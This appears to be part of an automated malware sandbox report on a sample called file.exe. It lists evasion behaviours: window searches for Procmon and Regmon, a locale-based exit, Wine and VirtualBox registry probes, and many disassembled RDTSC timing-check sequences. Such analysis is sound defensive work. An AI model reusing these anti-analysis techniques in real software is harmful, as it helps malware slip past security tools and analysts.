Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

1_2_00B09860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_1-58081

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC240B second address: EC241A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 jo 00007F4A4CE02A26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC241A second address: EC242C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jo 00007F4A4CCE842Eh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6D3A second address: EC6D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A2Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6D4F second address: EC6D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F4A4CCE8448h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6EBA second address: EC6EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9A9D second address: EC9AA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9AA3 second address: EC9AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4A4CE02A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B18 second address: EC9B54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jbe 00007F4A4CCE842Ch 0x00000010 mov esi, dword ptr [ebp+122D1936h] 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D1875h], edx 0x0000001e push EFA1361Fh 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B54 second address: EC9BC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 add dword ptr [esp], 105ECA61h 0x00000017 and esi, 610ECC21h 0x0000001d push 00000003h 0x0000001f mov dword ptr [ebp+122D1899h], ebx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F4A4CE02A28h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D180Eh], edi 0x00000047 push 00000003h 0x00000049 mov edx, dword ptr [ebp+122D387Ch] 0x0000004f call 00007F4A4CE02A29h 0x00000054 push eax 0x00000055 push edx 0x00000056 je 00007F4A4CE02A2Ch 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9BC1 second address: EC9BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9BC5 second address: EC9BD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F4A4CE02A26h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9BD6 second address: EC9BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9BDC second address: EC9C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F4A4CE02A39h 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jbe 00007F4A4CE02A36h 0x00000019 jmp 00007F4A4CE02A30h 0x0000001e mov eax, dword ptr [eax] 0x00000020 push edi 0x00000021 pushad 0x00000022 jmp 00007F4A4CE02A33h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 pushad 0x00000031 jo 00007F4A4CE02A26h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9C42 second address: EC9C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F4A4CCE842Ch 0x0000000b popad 0x0000000c pop eax 0x0000000d and esi, dword ptr [ebp+122D39D4h] 0x00000013 lea ebx, dword ptr [ebp+1244BA08h] 0x00000019 mov edx, dword ptr [ebp+122D39C0h] 0x0000001f xchg eax, ebx 0x00000020 push esi 0x00000021 jc 00007F4A4CCE843Bh 0x00000027 jmp 00007F4A4CCE8435h 0x0000002c pop esi 0x0000002d push eax 0x0000002e push esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jo 00007F4A4CCE8426h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9CFE second address: EC9D53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D249Dh], edi 0x00000011 jmp 00007F4A4CE02A34h 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D2639h], ecx 0x0000001e call 00007F4A4CE02A29h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F4A4CE02A39h 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9D53 second address: EC9D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9D59 second address: EC9D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4A4CE02A2Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9D71 second address: EC9DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F4A4CCE8437h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jmp 00007F4A4CCE8435h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jno 00007F4A4CCE8426h 0x00000024 popad 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d jl 00007F4A4CCE8426h 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9DC7 second address: EC9E3A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007F4A4CE02A26h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d xor edi, dword ptr [ebp+122D3744h] 0x00000013 add dword ptr [ebp+122D1AF6h], edx 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F4A4CE02A28h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D25D5h], eax 0x0000003b push 00000000h 0x0000003d cld 0x0000003e push 00000003h 0x00000040 mov ch, 89h 0x00000042 jno 00007F4A4CE02A2Ch 0x00000048 call 00007F4A4CE02A29h 0x0000004d push esi 0x0000004e jmp 00007F4A4CE02A31h 0x00000053 pop esi 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E3A second address: EC9E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9F23 second address: EC9F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9F28 second address: EC9F8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F4A4CCE8426h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F4A4CCE8428h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 jmp 00007F4A4CCE8439h 0x0000002e push 00000000h 0x00000030 mov esi, 54CA9300h 0x00000035 xor ecx, 48A22DD1h 0x0000003b push 7D130CE3h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA4DF second address: EEA502 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE89EB second address: EE89F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE89F1 second address: EE89F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE89F6 second address: EE8A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE8430h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8A0A second address: EE8A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8A0E second address: EE8A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8A18 second address: EE8A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8A1C second address: EE8A26 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A4CCE8426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8A26 second address: EE8A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F4A4CE02A28h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8EA4 second address: EE8EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jng 00007F4A4CCE8448h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jp 00007F4A4CCE8426h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FF5 second address: EE9025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A38h 0x00000009 pop edi 0x0000000a jmp 00007F4A4CE02A33h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9025 second address: EE9056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CCE8439h 0x00000007 push ebx 0x00000008 jmp 00007F4A4CCE8433h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE92D1 second address: EE92DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE92DA second address: EE9301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F4A4CCE842Fh 0x0000000e jno 00007F4A4CCE842Ch 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE95D8 second address: EE95E5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE95E5 second address: EE95EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE95EE second address: EE9608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F4A4CE02A2Dh 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE1463 second address: EE1470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F4A4CCE8426h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE1470 second address: EE1491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4A4CE02A39h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9C99 second address: EE9CA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9F30 second address: EE9F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A2Bh 0x00000009 pop edx 0x0000000a jnp 00007F4A4CE02A3Ch 0x00000010 jmp 00007F4A4CE02A36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9F5C second address: EE9F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE8435h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9F75 second address: EE9F97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F4A4CE02A26h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE145F second address: EE1463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0226 second address: EF022C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B1A second address: EF1B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B20 second address: EF1B30 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B30 second address: EF1B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B34 second address: EF1B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B3A second address: EF1B4A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4A4CCE8432h 0x00000008 jns 00007F4A4CCE8426h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B4A second address: EF1B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F4A4CE02A34h 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1B59 second address: EF1B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5370 second address: EF5386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A32h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4ABD second address: EF4AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5069 second address: EF5083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A4CE02A36h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6F7A second address: EF6F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6F7E second address: EF6F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF701E second address: EF7022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7022 second address: EF7045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ecx 0x00000009 ja 00007F4A4CE02A2Ch 0x0000000f pop ecx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jng 00007F4A4CE02A2Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7045 second address: EF704D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF704D second address: EF7067 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4A4CE02A2Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7600 second address: EF7604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7604 second address: EF760A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF760A second address: EF7614 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4A4CCE842Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C96 second address: EF7CC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, ebx 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F4A4CE02A28h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push edi 0x00000026 pop edi 0x00000027 push eax 0x00000028 pop eax 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7CC3 second address: EF7CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE8438h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7CDF second address: EF7CF1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4A4CE02A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7CF1 second address: EF7CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7CF8 second address: EF7CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7DA9 second address: EF7DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7F34 second address: EF7F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7F38 second address: EF7F3E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF87B5 second address: EF87BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF87BB second address: EF87CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F4A4CCE8426h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF87CF second address: EF884E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F4A4CE02A28h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F4A4CE02A28h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 jmp 00007F4A4CE02A2Ah 0x00000048 xchg eax, ebx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F4A4CE02A39h 0x00000051 rdtsc
